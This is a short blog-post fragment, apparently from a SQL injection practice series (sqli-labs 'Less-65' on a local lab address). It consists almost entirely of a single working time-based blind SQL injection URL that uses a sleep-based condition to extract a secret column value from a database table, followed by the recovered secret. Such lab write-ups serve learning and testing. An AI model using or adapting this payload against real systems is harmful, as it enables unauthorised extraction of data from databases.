http://192.168.50.2:8888/Less-65/?id=1%22)%20and%20if(left((select%20secret_1D2D%20from%20R7NHZALUDW%20limit%200,1),24)=%27EPId2E23YEaGctJJ4oFR1yRK%27,sleep(3),1)%23
// EPId2E23YEaGctJJ4oFR1yRK

posted @ 2022-04-23 18:18 f_carey 阅读(14314) 评论(1) 编辑收藏举报

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